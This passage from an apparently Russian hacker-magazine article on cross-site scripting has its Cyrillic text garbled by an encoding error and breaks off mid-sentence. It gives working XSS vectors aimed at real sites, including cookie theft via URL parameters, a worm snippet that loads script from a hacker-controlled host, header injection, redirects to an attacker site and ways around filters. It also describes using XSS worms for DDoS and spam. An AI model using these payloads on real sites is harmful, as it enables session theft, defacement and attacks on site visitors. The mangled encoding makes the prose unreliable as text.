ñòóïåí äëÿ ïðîñìîòðà â îòëè÷èå îò òîãî æå PHP).
È, âîçìîæíî, èìåííî òàì îí è íàéäåò óÿçâèìîñòü.

ïðèìåð óóÿçâèìîé ññòðàíèöû
<HTML>

<TITLE>Welcome!</TITLE>

Hi

<SCRIPT>

var pos=document.URL.indexOf("name=")+5;

document.write(document.URL.substring

(pos,document.URL.length));

</SCRIPT>

<BR>

Welcome to our system

...

</HTML>

ïðèìåð ââåêòîðà
http://www.vulnerable.site/welcome.html?

name=<script>alert(document.cookie)

</script>

Äðóãèì âàæíûì ìîìåíòîì â îòíîøåíèè ýòîãî òèïà
àòàê ÿâëÿåòñÿ òî, ÷òî ñåðâåð è áðàóçåð àòàêóåìîãî
ïîëüçîâàòåëÿ íå îñóùåñòâëÿëè àâòîìàòè÷åñêîãî ïðå-

îáðàçîâàíèÿ ñèìâîëîâ «<» è «>» â ñòðîêå àäðåñà
â URL-encoded çíà÷åíèÿ «%3C» è «%3E». Íî õðàáðûå
õàêåðû âñåãäà èäóò â îáõîä. Îáõîäíûì ìàíåâðîì
â ýòîì ñëó÷àå ìîæåò îêàçàòüñÿ èñïîëüçîâàíèå çíà÷-
êà «#» (õýø èëè äèåç), âåäü êóñîê URL ïîñëå ýòîãî
ñèìâîëà íå ÿâëÿåòñÿ ÷àñòüþ çàïðîñà, è òàêèå áðàóçå-
ðû êàê 6 Internet Explorer è Mozilla åãî íà ñåðâåð íå ïå-
ðåäàþò. Òîãäà àòàêà ñ èñïîëüçîâàíèåì âåêòîðà òèïà
http://www.vulnerable.site/welcome.html#name=<script>alert(do-
cument.cookie)</script> âïîëíå ìîæåò îêàçàòüñÿ óäà÷íîé.

2 «Êëàññè÷åñêèé» XSS. Íàèáîëåå ðàñïðîñòðàíåí-
íàÿ ìîäåëü àòàê. Â ýòîé ìîäåëè ñåðâåð èìååò òàê
íàçûâàåìóþ «íåïîñòîÿííóþ» (âîîáùå, â ðóññêîì
ÿçûêå òðóäíî ïîäîáðàòü àíàëîã äëÿ àíãëèéñêîãî
non-persistent èëè reflected) óÿçâèìîñòü. Åñëè ñåð-
âåðíûé ñêðèïò íåäîñòàòî÷íî òùàòåëüíî ôèëüòðóåò
ïåðåäàííûå åìó ïàðàìåòðû, òî òåëî XSS-âåêòîðà
ïîïàäàåò â ðåçóëüòèðóþùèé HTML, CSS ëèáî Ja-
vaScript-êîä íåïîñðåäñòâåííî â áðàóçåð êëèåíòà
(ñìîòðè ðèñóíîê 1). Äà, â CSS òîæå ìîæíî âíåäðÿòü
èñïîëíÿåìûé êîä ÷åðåç èñïîëüçîâàíèå êîíñòðóê-
öèé «url(«javascript:�»)». 

3 «Ïåðñèñòèðóþùèé» XSS. Ôàêòè÷åñêè, ýòîò òèï
àòàê ñâÿçàí ñ ïåðìàíåíòíûì ðàçìåùåíèåì ïàðàìå-
òðîâ äëÿ ñêðèïòà, ïåðåäàâàåìûõ îò õàêåðà íà ñåð-
âåð, íåïîñðåäñòâåííî â áàçå äàííûõ ñåðâåðà è ïî-
ñëåäóþùåé âûäà÷åé ìèëëèîíàì ïîñåòèòåëåé ñàéòà
(÷àùå âñåãî ýòî ôîðóìû, áëîãè è ò.ï.). Ó ýòîé ìîäåëè
åñòü äâà ãèãàíòñêèõ ïðåèìóùåñòâà ïåðåä ïðåäøå-
ñòâåííèêàìè: çäåñü íå òðåáóåòñÿ ðàññûëêà äàííûõ
îò õàêåðà ê ïîëüçîâàòåëþ (âñå äåëàåòñÿ ÷åðåç ñåð-
âåð, è êëèåíò íè÷åãî è íèêîãäà íå çàïîäîçðèò), è âîç-
ìîæíî ñîçäàíèå òàê íàçûâàåìûõ XSS-÷åðâåé �
êàæäûé ïîñåòèòåëü óÿçâèìîãî ôîðóìà/áëîãà èñïîë-
íèò êîä õàêåðà, à ýòîò êîä ìîæåò ðàçìåùàòü ñàì ñå-
áÿ íà äðóãèõ ñòðàíèöàõ óÿçâèìîãî ôîðóìà!



ñòðóêòóðà XXSS-÷÷åðâÿ. Âî-ïåðâûõ, ñàì ÷åðâü
äîëæåí âêëþ÷àòü â ñåáÿ êîä äëÿ ïîñòèíãà íà ôîðó-
ìå/áëîãå. Äëÿ òàêèõ çàäà÷ èäåàëüíî ïîäõîäèò òåõíî-
ëîãèÿ AJAX è àêòèâíî èñïîëüçóåìûé ñ íåäàâíèõ ïîð
îáúåêò JavaScript ïîä íàçâàíèåì XMLHttpRequest.

ïðèìåð XXSS-÷÷åðâÿ
function HTTPRequest (url)

{

// branch for native XMLHttpRequest

object

if (window.XMLHttpRequest) {

req = new XMLHttpRequest();

req.onreadystatechange =

processReqChange;

req.open("GET", url, true);

req.send(null);

// branch for IE/Windows ActiveX

version

} else if (window.ActiveXObject) {

req = new

ActiveXObject("Microsoft.XMLHTTP");

if (req) {

req.onreadystatechange =

processReqChange;

req.open("GET", url, true);

req.send();

}

}

}

HTTPRequest

("http://vulnerable-blog.com/vulerable-

script.php?vulnerable-arg=<iframe

src=http://hacker-site/xss.js>");

Âåñü ýòîò êîä ïîìåùàåòñÿ íà ñàéò, äîñòóïíûé äëÿ
õàêåðà, è ãðóçèòñÿ â áðàóçåðû ïîñåòèòåëåé ôîðó-

ìà/áëîãà ÷åðåç ïîñò, ñîäåðæàùèé òåêñò âèäà <ifra-
me src=http://hacker-site/xss.js>. Ïîäîáíûì îáðàçîì,
êñòàòè, áûëà ïðîèçâåäåíà àòàêà íà áëîã MySpace,
êîãäà â òå÷åíèå íåñêîëüêèõ ÷àñîâ îí áûë ïîäâåðã-
íóò èç-çà ðîñòà ÷èñëà çàïðîñîâ îò ÷åðâåé æåñòêîìó
DDoS'ó. Òàê ÷òî DDoS � ýòî åùå îäíà ôèøêà äëÿ
XSS-àòàê òðåòüåãî òèïà. Äîïóñòèì, ÷òî íàäî ïîä-
âåðãíóòü DDoS-àòàêå íåêèé ñåðâåð (êîòîðûé äàæå
íå èìååò íèêàêîãî îòíîøåíèÿ ê XSS). Ïóñòü êàæäûé
êëèåíò íàïðàâèò ñâîé çàïðîñ íà óêàçàííûé ñåðâåð,
èñïîëüçóÿ òîò æå îáúåêò XMLHTTPRequest. Âóà ëÿ,
âîò òåáå äåñÿòêè è äåñÿòêè òûñÿ÷ çàïðîñîâ â ìèíóòó.
Ïðè ýòîì íè÷òî íå ìåøàåò êîìáèíèðîâàòü âíóòðè
îäíîãî ñêðèïòà êîä äëÿ DDoS-àòàêè è êîä äëÿ ðàñ-
ïðîñòðàíåíèÿ ïî ôîðóìó, ÷òîáû óâåëè÷èòü ÷èñëî
DDoS-çàïðîñîâ. Âîò è ñêàæè ïîñëå ýòîãî, ÷òî XSS íå
ïðåäñòàâëÿåò íè÷åãî îïàñíîãî è ñåðüåçíîãî.

Èäåì äàëåå: ðàññûëêà ñïàìà. Âñåãî-òî ñòîèò
âíåäðèòü â òåëî XSS-âåêòîðà êîä äëÿ îòïðàâêè ïî÷-
òîâûõ ñîîáùåíèé ÷åðåç ïóáëè÷íûå ñåðâåðû âåá-
ìåéëà, æåëàòåëüíî íå ÷åðåç îäèí (åñëè òîëüêî òû
íå õî÷åøü åãî ñìåðòè îò DDoS'à), è âîò òåáå òîííû
êîððåñïîíäåíöèè. Îïÿòü æå, â ïèñüìàõ ìîæíî ðàñ-
ñûëàòü àäðåñà XSS-óÿçâèìûõ ñàéòîâ, â êîòîðûå
âñòðîåíû òå æå ñàìûå XSS-âåêòîðû. Ôàêòè÷åñêè,
ïîëåò ôàíòàçèè â ýòîé îáëàñòè íåîãðàíè÷åí �
îãðàíè÷åíî ëèøü ÷èñëî ñåðâåðîâ, èìåþùèõ òàêîé
«ïðèÿòíûé» òèï XSS-óÿçâèìîñòè, êàê ïåðìàíåíò-
íîå ðàçìåùåíèå êîäà.

ñîñòàâëåíèå XXSS-ââåêòîðîâ ääëÿ ââòîðîé ììîäå-
ëè ààòàê. Óäèâèòåëüíî, íàñêîëüêî ÷àñòî, ãîâîðÿ îá
XSS, çàáûâàþò ïðî âîïðîñ ñîçäàíèÿ âíåäðÿåìûõ
XSS-âåêòîðîâ (ôðàãìåíòîâ êîäà, êîòîðûé áóäåò âû-
ïîëíÿòüñÿ òàì), à âåäü ýòî, ïî ñóòè, ñåðäöå âçëîìà,
ñàìà îòìû÷êà. Âñå ðàâíî ÷òî ãîâîðèòü î òîì, ñêîëü-
êî â áàíêå äåíåã, ðàññêàçûâàòü î òèïàõ çàìêîâ íà
ñåéôå è î òîì, ÷òî ïîòîì äåëàòü ñ «÷åñòíî» âçÿòû-
ìè àññèãíàöèÿìè, íî ïðè ýòîì íè ñëîâà íå óïîìÿ-
íóòü îá èçãîòîâëåíèè îòìû÷êè äëÿ ïðîíèêíîâåíèÿ
â ñåéô. Òàê ÷òî ïðîâåäåì íåêîòîðûé ëèêáåç.

Ïîäõîäÿ ê âîïðîñó òîãî, êàê æå èìåííî ëó÷-
øèì îáðàçîì ñîñòàâèòü èíúåêöèîííûé XSS-âåê-
òîð, ïðîñòî íåâîçìîæíî íå ïðîöèòèðîâàòü êëàññè-
êà îòå÷åñòâåííîé íàóêè Ëàíäàó � «ýòî âàì íå ôè-
çèêà, çäåñü äóìàòü íàäî». Òîëüêî îí ýòî ãîâîðèë
î ïðåôåðàíñå, à íå î XSS, íî àíàëîãèÿ âïîëíå óìå-
ñòíàÿ. Òàëàíò ïðåôåðàíñèñòà, ðàâíî êàê è «XSS-
âåêòîðèñòà» � ýòî èíòóèöèÿ âçëîìùèêà, ïîìíî-
æåííàÿ íà ýðóäèöèþ ñïåöèàëèñòà è ìàñòåðñòâî
êîìáèíèðîâàíèÿ Îñòàïà Áåíäåðà. Íî íå äóìàé, ÷òî
âñå ýòî òàê óæ íåäîñòóïíî. Íàïðîòèâ, ñîçäàòü êðà-
ñèâûé âåêòîð äëÿ ëþáîãî èç òèïîâ XSS � ýòî êàê
äâà áàéòà ïåðåñëàòü. Âîò è ïðîèçâåäåì ïî î÷åðåäè
ðàçáîð ïîëåòîâ ïî êàæäîìó èç ïóíêòîâ, äàáû òà-
ëàíò âåëèêîãî Áåíäåðà â êóïå ñ ãåíèàëüíîñòüþ Íî-
áåëåâñêîãî ëàóðåàòà îñåíèë è íàñ.

ñìåíà êêîíòåêñòà ääëÿ ââåêòîðà. Íà÷íåì
ñ àçîâ � ñòðóêòóðû ýòîãî ñàìîãî âåêòîðà. Â íàøåì
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ñëó÷àå íà÷àëî âåêòîðà � ýòî êóñîê êîäà, öåëüþ êî-
òîðîãî ÿâëÿåòñÿ ïåðåâîä èçíà÷àëüíîãî òåêñòîâîãî
êîíòåêñòà â êîíòåêñò èñïîëíÿåìûé. Òàê, äëÿ URL-
âåêòîðîâ íà÷àëîì áóäåò ñëóæèòü â ñàìîì ïðîñòîì
ñëó÷àå ôðàãìåíò òèïà:

text'><script language='javascript'>

Åñëè èíòåðåñóþùèé íàñ ñàéò ñîäåðæèò ñêðèïò, ïå-
ðåäàþùèé â HTML-êîä ñîäåðæèìîå ïàðàìåòðà
èç GET-çàïðîñà, íå ôèëüòðóÿ (èëè êðèâî ôèëüòðóÿ)
íàëè÷èå ñêðèïòîâûõ òýãîâ, ýòîò ïðèìåð äîëæåí
ñðàáîòàòü. Â ïåðâîé ÷àñòè ïðèâåäåííîãî ïðèìåðà
ïðîñòî çàêðûâàåì HTML-êîíòåêñò, ýòî íàäî äåëàòü
òîëüêî â òîì ñëó÷àå, åñëè óÿçâèìûé ñàéò âñòàâëÿ-
åò ñîäåðæèìîå ïåðåäàííîãî ïàðàìåòðà â êîíñòðóê-
öèþ òèïà:

<input ... value='here-goes-get-

parameter-passed-from-us'>

Ïîýòîìó, êîãäà ñîâìåñòèì XSS-âåêòîð è òî, ÷òî
èäåò â îðèãèíàëüíîì òåêñòå HTML, òî ïîëó÷èì:

<input ... value='text'><script

language='javascript'>

Ðàçóìååòñÿ, äëÿ òîãî ÷òîáû ïðàâèëüíî îñóùå-
ñòâèòü ñìåíó êîíòåêñòà, íàäî ïðåäâàðèòåëüíî ïðî-
àíàëèçèðîâàòü èñõîäíûé HTML-êîä óÿçâèìîé
ñòðàíèöû. Èãíîðèðîâàíèå ýòîãî ïðîñòîãî ìîìåíòà
íà ïåðâûé âçãëÿä õîòü è ìîæåò äàòü âïîëíå ðàáî-
÷èé âåêòîð, íî â áîëüøèíñòâå ñëó÷àåâ îêàçûâàåò-
ñÿ, ÷òî âåêòîð ðàáîòàåò òîëüêî â îäíîì áðàóçåðå
è íå îáëàäàåò êðîññ-áðàóçåðíîé ñîâìåñòèìîñòüþ.
Ïîýòîìó ñåêðåò êðîññ-áðàóçåðíîé ðàáîòû íîìåð
îäèí çâó÷èò ïðîñòî: â èñõîäíîé HTML-ñòðàíèöå
äëÿ êîððåêòíîãî ñîñòàâëåíèÿ âåêòîðà âàæíî âñå.
Åñëè ñåðâåð âûäàåò ñòðàíèöû XHTML, à íå HTML
(÷òî äîëæíî ïðîâåðÿòüñÿ ïî DOCTYPE è MIME), òî
íå ïîëåíèñü â ñëó÷àå, óêàçàííîì âûøå, èñïîëüçî-
âàòü êîä:

text'/><script language='javascript'>

Äîïîëíèòåëüíûé çàêðûâàþùèé ñëåø äîáàâèò ëèø-
íþþ ãàðàíòèþ êîððåêòíîé ðàáîòû âåêòîðà íà ëþ-
áîé ïëàòôîðìå è áðàóçåðå.

Äëÿ äðóãèõ, íàäî ñêàçàòü, çíà÷èòåëüíî ìå-
íåå ðàñïðîñòðàíåííûõ òèïîâ âåêòîðîâ (è äàæå
òåõ, ÷òî åùå âîçíèêíóò òîëüêî â ïåðñïåêòèâå âíå-
äðåíèÿ íîâûõ òåõíîëîãèé) ê âîïðîñó íàäî ïîäõî-
äèòü ñõîæèì îáðàçîì: ïåðåäàåøü HTTP-âåêòîð �
íå çàáóäü äàòü ïîñëåäîâàòåëüíîñòü êîððåêòíîãî
çàãîëîâêà HTTP è ïðàâèëüíóþ ñìåíó êîíòåêñòà.
Ñêàæåì, åñòü ãèïîòåòè÷åñêèé ôîðóì, êîòîðûé äî-
ïóñêàåò çàãðóçêó íà íåãî ôàéëîâ, ïðè ýòîì
â ñêðûòîì ïàðàìåòðå ïàðàëëåëüíî ïåðåäàåòñÿ
êîäèðîâêà çàãðóæàåìîãî ôàéëà. Òîãäà ïðîñòîé
âåêòîð ìîæåò äàòü âîçìîæíîñòü ïåðåäàòü êîíå÷-
íîìó ïîëüçîâàòåëþ âìåñòî ôàéëà òðåáóåìûé

ñêðèïò, êîòîðûé èñïîëíèòñÿ â áðàóçåðå âñåõ ïî-
ñåòèâøèõ ñàéò:

http://vlunerable.site/script_for_

uploading?file=eto-tipa-

kartinka.js&encoding=utf-8%0AContent-

type:%20text/html%0A%0A<html><head>

<script language='javasrript'

src='�'></head></html>

Äëÿ ïðîñòîòû âîñïðèÿòèÿ ñïåöèàëüíî äî êîíöà íå
ïåðåêîäèðîâàëè ñèìâîëû â ôîðìàò URL-encoded.

Ñ ïåðâîé ÷àñòüþ âåêòîðà � çàêðûòèåì êîíòåê-
ñòà � áîëåå èëè ìåíåå ïîíÿòíî. Íî ýòî áûëè öâåòî÷-
êè, ñåé÷àñ íà÷èíàþòñÿ ÿãîäêè. Èç ïðèâåäåííûõ ïðè-
ìåðîâ òû ñàìîñòîÿòåëüíî óÿñíèë, ÷òî ïîñëå çàêðûòèÿ
êîíòåêñòà ñëåäóåò âñòðàèâàíèå êîäà, êîòîðûé, åñòå-
ñòâåííî, äîëæåí áûòü ïðåäâàðåí ÷åì-òî, ÷òî ïîÿñíÿ-
åò áðàóçåðó, ÷òî êîä äîëæåí ïåðåäàâàòüñÿ íà èñïîë-
íåíèå ñîîòâåòñòâóþùèì îáðàçîì. Ñàìûé ïðîñòîé
ñïîñîá ñäåëàòü ýòî â òåõ æå URL-âåêòîðàõ � âûðå-
çàòü òýã «<script�». Îäíàêî áîëüøèíñòâî ñîâðåìåí-
íûõ ñåðâåð-ñàéä-ñêðèïò-êèääåðîâ, ñîððè, êîäåðîâ
óæå íàó÷èëèñü âûðåçàòü íå òîëüêî òýãè «<script�», íî
íà ïàðó ñ íèìè è «<object...», è «<embed...», è äàæå
«<iframe�». ×òî äåëàòü â òàêèõ ñèòóàöèÿõ?

Ñìîòðè â êîðåíü, òî åñòü â êîä! Âíèìàòåëüíî
ïðîâåðÿé âñå ìåñòà, ãäå óÿçâèìûé ïàðàìåòð âñòàâëÿ-
åòñÿ â HTML óÿçâèìîé ñòðàíèöû óÿçâèìûì ñåðâåð-
íûì ñêðèïòîì. Åñëè ïàðàìåòð õîòü ðàç âñòðå÷àåòñÿ
ìåæäó òýãîâ «<head>�</head>», òî ìîæíî èñïîëüçî-
âàòü îáìàííûé õîä «http-equiv». Êàê? À âîò òàê:

<title>Here-goes-parameter-from-

URL</title><meta http-equiv='Location'

content='http://our.cool.hacker.site'>

Åñëè æå â ïàðàìåòðå óêàçûâàåòñÿ èìÿ CSS-ñòðàíè-
öû äëÿ âûáîðà ñòèëÿ ïðåäñòàâëåíèÿ, òî ìîæíî èñ-
ïîëüçîâàòü âåêòîð:

<style href='style.css'><meta

http-equiv='Location'

content='http://our.cool.hacker.site'>

È òàê äàëåå�
Íî åñëè ñêðèïò òàê õèòåð, ÷òî ïðåîáðàçóåò

âñå óãëîâûå ñêîáêè òýãîâ â âûðàæåíèÿ òèïà «&lt;»?
Òîãäà åùå ðàç ñìîòðèøü â êîä óÿçâèìîé HTML-
ñòðàíèöû. Áîëüøèíñòâî HTML-òýãîâ ïîääåðæèâà-
þò ìåòîäû onclick, onmouseover è òàê äàëåå. Ïîýòî-
ìó åñëè õîòü â îäíîì ìåñòå ïàðàìåòð âñòàâëÿåòñÿ
â HTML-êîä â âèäå àòðèáóòà ëþáîãî òýãà, ìîæíî
áåç èñïîëüçîâàíèÿ óãëîâûõ ñêîáîê âíåäðèòü Ja-
vaScript êàê â ïðèâåäåííîì ïðèìåðå:

<input ... value='parameter'

onclick='..your-code..'>

Íå ðàáîòàåò? Óìíûé ñåðâåð âûðåçàåò àòðèáóòû
html events? Ïðåâðàùàåò îäèíàðíûå è äâîéíûå êà-
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÷òî ìîæíî îòíåñòè
ê ìèôàì î xss?
1  ÍÍÅÅ ÎÎÏÏÀÀÑÑÍÍÎÎ ÈÈ ÇÇÀÀÙÙÈÈÙÙÀÀÒÒÜÜÑÑßß ÍÍÅÅ ÍÍÀÀÄÄÎÎ
ÎÏÀÑÍÎÑÒÜ ÎÒ XSS ÍÅÄÎÎÖÅÍÈÂÀÅÒÑß.
Â ÏÅÐÂÓÞ Î×ÅÐÅÄÜ ÈÇ-ÇÀ ÒÎÃÎ, ×ÒÎ ÑÀ-
ÌÓÞ ØÈÐÎÊÓÞ ÈÇÂÅÑÒÍÎÑÒÜ ÏÎËÓ×ÈËÈ
ÏÅÐÂÛÅ XSS-ÀÒÀÊÈ, ÊÎÒÎÐÛÅ ÄÅÉÑÒÂÈ-
ÒÅËÜÍÎ ÍÅ ÌÎÃËÈ ÍÀÍÅÑÒÈ ÑÅÐÜÅÇÍÛÉ
ÓÐÎÍ. ÒÅÌ ÍÅ ÌÅÍÅÅ, ÑÎÂÐÅÌÅÍÍÛÅ ÌÅÒÎ-
ÄÛ XSS ÇÀ×ÀÑÒÓÞ ÃÎÐÀÇÄÎ ÁÎËÅÅ ÎÏÀÑ-
ÍÛ. ÄÎÑÒÀÒÎ×ÍÎ ÓÏÎÌßÍÓÒÜ ÓÁÛÒÊÈ ÎÒ
ÏÅÐÂÎÃÎ XSS-×ÅÐÂß, ÇÀÏÓÙÅÍÍÎÃÎ ÁËÀ-
ÃÎÄÀÐß ÄÛÐÀÌ Â ÏÓÁËÈ×ÍÎÌ ÁËÎÃÅ.
ÓÐÎÍ ÂÏÎËÍÅ ÌÀÒÅÐÈÀËÜÍÛÉ È ÈÇÌÅÐß-
ÅÌÛÉ ÊÀÊ Â ÄÅÍÅÆÍÛÕ ÇÍÀÊÀÕ, ÒÀÊ È ÃÎ-
ÄÀÕ ÇÀÊËÞ×ÅÍÈß, ÃÐÎÇßÙÈÕ XSS-ÕÀÊÅÐÓ.

2  ÍÍÈÈ××ÅÅÃÃÎÎ ÎÎÑÑÎÎÁÁÎÎ ÈÈÌÌ ÍÍÅÅ ÑÑÄÄÅÅËËÀÀÅÅØØÜÜ
ÏÎÏÐÎÁÓÞ ÊËÀÑÑÈÔÈÖÈÐÎÂÀÒÜ ÒÎÒ
ÓÙÅÐÁ, ÊÎÒÎÐÛÉ ÌÎÆÅÒ ÍÀÍÅÑÒÈ XSS.
ÂÎ-ÏÅÐÂÛÕ, ÝÒÎ ÓÙÅÐÁ ÈÌÈÄÆÓ ÊÎÌ-
ÏÀÍÈÈ-ÄÅÐÆÀÒÅËß ÑÀÉÒÀ. ÈÇÌÅÍÅÍÈÅ
È ÈÍÚÅÊÖÈß ÒÅÊÑÒÀ Â HTML-ÑÒÐÀÍÈÖÛ
È ÐÀÑÑÛËÊÀ ÒÀÊÈÕ XSS-ÂÅÊÒÎÐÎÂ ÊËÈ-
ÅÍÒÀÌ ÊÎÌÏÀÍÈÈ ÌÎÆÅÒ ÍÀÍÅÑÒÈ ÑÓ-
ÙÅÑÒÂÅÍÍÛÉ ÓÙÅÐÁ. ÏÎÌÍÈÒÑß, ÊÒÎ-
ÒÎ ÑÌÎÃ ÄÀÆÅ ÂÍÅÄÐÈÒÜ Â ÎÄÈÍ ÈÇ ÍÎ-
ÂÎÑÒÍÛÕ ÑÀÉÒÎÂ ÈÍÒÅÐÂÜÞ ÁÈËËÀ
ÃÅÉÒÑÀ Î ÏÐÅÈÌÓÙÅÑÒÂÀÕ ÎÏÅÐÀÖÈ-
ÎÍÍÛÕ ÑÈÑÒÅÌ ËÈÍÓÊÑ ÏÎ ÑÐÀÂÍÅÍÈÞ
Ñ ÂÈÍÄÎÓÇ. ÂÎ-ÂÒÎÐÛÕ, ÝÒÎ ÂÎÇÌÎÆ-
ÍÎÑÒÜ ÏÎÕÈÙÅÍÈß ÇÀÊÐÛÒÎÉ ÈÍÔÎÐ-
ÌÀÖÈÈ, ×ÒÎ ÎÏßÒÜ ÆÅ ÏÎÒÅÍÖÈÀËÜÍÎ
ÂÅÄÅÒ Ê ÇÍÀ×ÈÒÅËÜÍÎÌÓ ÝÊÎÍÎÌÈ×Å-
ÑÊÎÌÓ ÓÙÅÐÁÓ. Â-ÒÐÅÒÜÈÕ, ÝÒÎ ÂÎÇ-
ÌÎÆÍÛÅ DDOS-ÀÒÀÊÈ, ÎÐÃÀÍÈÇÓÅÌÛÅ
Ñ ÏÎÌÎÙÜÞ XSS-×ÅÐÂÅÉ. ÍÓ È, Â-×ÅÒ-
ÂÅÐÒÛÕ, ÏÐÈ ÎÑÎÁÎÉ ÓÄÀ×Å ÕÀÊÅÐÀ
È ÍÀËÈ×ÈÈ Ó ÊËÈÅÍÒÀ ÓßÇÂÈÌÛÕ «ÝÊ-
ÑÏËÎÐÅÐÎÂ» � ÂÎÇÌÎÆÍÎÑÒÜ ÊÎÍ-
ÒÐÎËß ÏÎËÜÇÎÂÀÒÅËÜÑÊÎÃÎ ÁÐÀÓÇÅ-
ÐÀ, ÄÎÑÒÓÏÀ Ê ËÎÊÀËÜÍÛÌ ÔÀÉËÀÌ
È ÏÐÎ×ÈÅ «ÈÍÒÅÐÅÑÍÎÑÒÈ».

3  ÒÒÅÅÌÌÀÀ XXSSSS ÄÄÀÀÂÂÍÍÎÎ ÐÐÀÀÑÑÊÊÐÐÛÛÒÒÀÀ
ÈÍÎÃÄÀ Ó ÌÅÍß ÑÊËÀÄÛÂÀÅÒÑß ÏÐÎÒÈ-
ÂÎÏÎËÎÆÍÎÅ ÂÏÅ×ÀÒËÅÍÈÅ � ÒÅÌÀ XSS
ÁÅÑÊÎÍÅ×ÍÀ È ÍÅ ÌÎÆÅÒ ÁÛÒÜ 
ÎÕÂÀ×ÅÍÀ È ÏÎËÍÎÑÒÜÞ ÐÀÑÊÐÛÒÀ 
ÄÀÆÅ Â ÁÎËÜØÎÌ ÎÁÇÎÐÅ. ÂÑÅ ÍÎÂÛÅ
ÂÂÅÄÅÍÈß È ÏÐÀÊÒÈ×ÅÑÊÈ ÊÀÆÄÛÉ ÑÂÅ-
ÆÈÉ ÑÒÀÍÄÀÐÒ ÎÒ W3C � ÝÒÎ ÍÎÂÛÅ
ÂÎÇÌÎÆÍÎÑÒÈ ÄËß XSS. ÒÅÎÐÅÒÈ×ÅÑÊÈ,
XSS ÌÎÆÅÒ ÁÛÒÜ ÐÅÀËÈÇÎÂÀÍ ÍÀ ËÞ-
ÁÎÌ ÌÀÒÅÐÈÀËÅ, ÏÐÅÄÀÂÀÅÌÎÌ ÑÅÐÂÅ-
ÐÎÌ ÍÀ ÇÀÏÐÎÑ ÊËÈÅÍÒÀ, ÅÑËÈ ÑÅÐÂÅÐ
ÈÑÏÎËÜÇÓÅÒ ÊËÈÅÍÒÑÊÈÅ ÄÀÍÍÛÅ Â ÊÀ-
×ÅÑÒÂÅ ÔÐÀÃÌÅÍÒÎÂ ÄËß ÑÂÎÅÃÎ ÎÒÂÅ-
ÒÀ. ÏÎÝÒÎÌÓ Â ÁËÈÆÀÉØÅÅ ÂÐÅÌß ÑÎ-
ÎÁÙÅÑÒÂÎ ÏÐÎÄÎËÆÈÒ ÐÀÄÎÂÀÒÜ ÍÀÑ
ÂÑÅ ÁÎËÅÅ ÈÇÎÙÐÅÍÍÛÌÈ ÌÅÒÎÄÀÌÈ
ÊÐÎÑÑ-ÑÀÉÒÎÂÎÃÎ ÑÊÐÈÏÒÈÍÃÀ.



âû÷êè â çíà÷êè òèïà «&quot;»? Äóìàåì äàëüøå.
Â êà÷åñòâå çíà÷åíèé «src» ê òýãàì èçîáðàæåíèé,
«href» ãèïåðññûëîê è ïðî÷åãî ìîæíî óêàçûâàòü êîí-
ñòðóêöèè òèïà «javascript:..code..». È íå òîëüêî â ýò-
èõ òýãàõ. Íî, ñêàæåì, òîò æå Ýêñïëîðåð 6 èñïîëíèò
«<table background='javascript:�'>» è ìàññó ïîäîá-
íûõ âàðèàíòîâ. Òàê ÷òî åñëè ïàðàìåòð èç URL ïåðå-
äàåòñÿ â ýòè òýãè, òî èñïîëüçîâàíèå òàêîé âîçìîæ-
íîñòè � äåëî òåõíèêè. Äðóãèå ðåøåíèÿ èç ýòîé
îáëàñòè: èñïîëüçîâàòü â ñëîâå javascript ïðîáåëû,
êîäèðîâàòü ñèìâîëû â HTML-entities (&#x6A; è ò.ä.),
ïðèìåíÿòü íåñòàíäàðòíûå events (onAbort, onActiva-
te, onAfterPrint, onAfterUpdate, onBeforeActivate, on-
BeforeCopy è äðóãèå).

èñïîëíÿåìûé êêîä ääëÿ XXSS. Çàâåðøèâ ðàçáîð
ïåðâûõ äâóõ ÷àñòåé âåêòîðà, ðàññìîòðèì òî, ÷òî ñî-
ñòàâëÿåò åãî òåëî � êîä. È êàê ýòîò êîä ìîæåò
è äîëæåí ðàáîòàòü. Çäåñü âíîâü ïðèäåòñÿ ââîäèòü
êëàññèôèêàöèþ, èáî ñïîñîáîâ ïîñòðîåíèÿ òåëà âåê-
òîðà ìîæåò áûòü áåñ÷èñëåííîå ìíîæåñòâî (âñå çà-
âèñèò îò ôàíòàçèè). Ðàññìîòðèì òðè îñíîâíûõ òè-
ïà: HTML-âåêòîðû, âåêòîðû, ñîäåðæàùèå Ja-
vaScript, è âåêòîðû, âíåäðÿþùèå îáúåêòû (íàïðè-
ìåð, swf-ôàéëû).

Ñ ïåðâûì âñå äîñòàòî÷íî ÿñíî, � îí ïîçâîëÿ-
åò ìîäèôèöèðîâàòü ñòðóêòóðó äîêóìåíòà. Â ÷åì æå
èíòåðåñ äàííîãî ñïîñîáà XSS? Âî-ïåðâûõ, îí ìî-
æåò áûòü ïðèìåíåí äëÿ äåôåéñà ñàéòîâ èëè äëÿ
«ïîð÷è» èìèäæà êîìïàíèé. Îñîáî ýôôåêòèâíûé è
îïàñíûé HTML-XSS âîçìîæåí äëÿ òðåòüåé ìîäåëè
àòàê, êîãäà âíåäðåííûé êîä ðàçìåùàåòñÿ íåïî-
ñðåäñòâåííî íà ñàéòå è ñòàíîâèòñÿ âèäåí âñåì åãî
ïîñåòèòåëÿì. Òàê, ñêàæåì, ñàéò veryimportantcorpo-

ration.com ðàçìåùàåò ó ñåáÿ ñïèñîê ñàìûõ ïîïó-
ëÿðíûõ çàïðîñîâ îò ïîëüçîâàòåëåé, ïðè ýòîì ôîð-
ìà ñáîðà çàïðîñîâ íå ñîäåðæèò ôèëüòðàöèè HTML-
òýãîâ. Â ýòîì ñëó÷àå äîñòàòî÷íî ïðîñòî îðãàíèçî-
âàòü áîëüøîå ÷èñëî çàïðîñîâ ñ ñîäåðæèìûì ïî òè-
ïó «<iframe...» è ïîìåùàòü â ñîñòàâ ñàéòà ðåêëàìó
ñ ñàéòà èõ ïðÿìûõ êîíêóðåíòîâ :). Íî ýòî ïðèìèòèâ-
íî. Ãîðàçäî áîëüøåãî ðåçóëüòàòà ìîæíî äîñòè÷ü,
åñëè ïðèìåíÿòü âíåäðÿåìûé JavaScript, êîòîðûé
ìîäèôèöèðóåò DOM äîêóìåíòà, ìåíÿÿ åãî çàãëà-
âèå, ðàçìåùåííûå èçîáðàæåíèÿ è òåêñòîâûå ñòðî-
êè íóæíûì îáðàçîì. 

Ðåàëüíîãî ýôôåêòà è ïîëó÷åíèÿ äàííûõ
îò ïîëüçîâàòåëåé ìîæíî äîñòè÷ü, åñëè èñïîëüçî-
âàòü äèíàìè÷åñêèå ñêðèïòû JavaScript èëè âíåäðÿ-
åìûå îáúåêòû. Ïðè òàêîì ïîäõîäå âîçìîæíîñòè
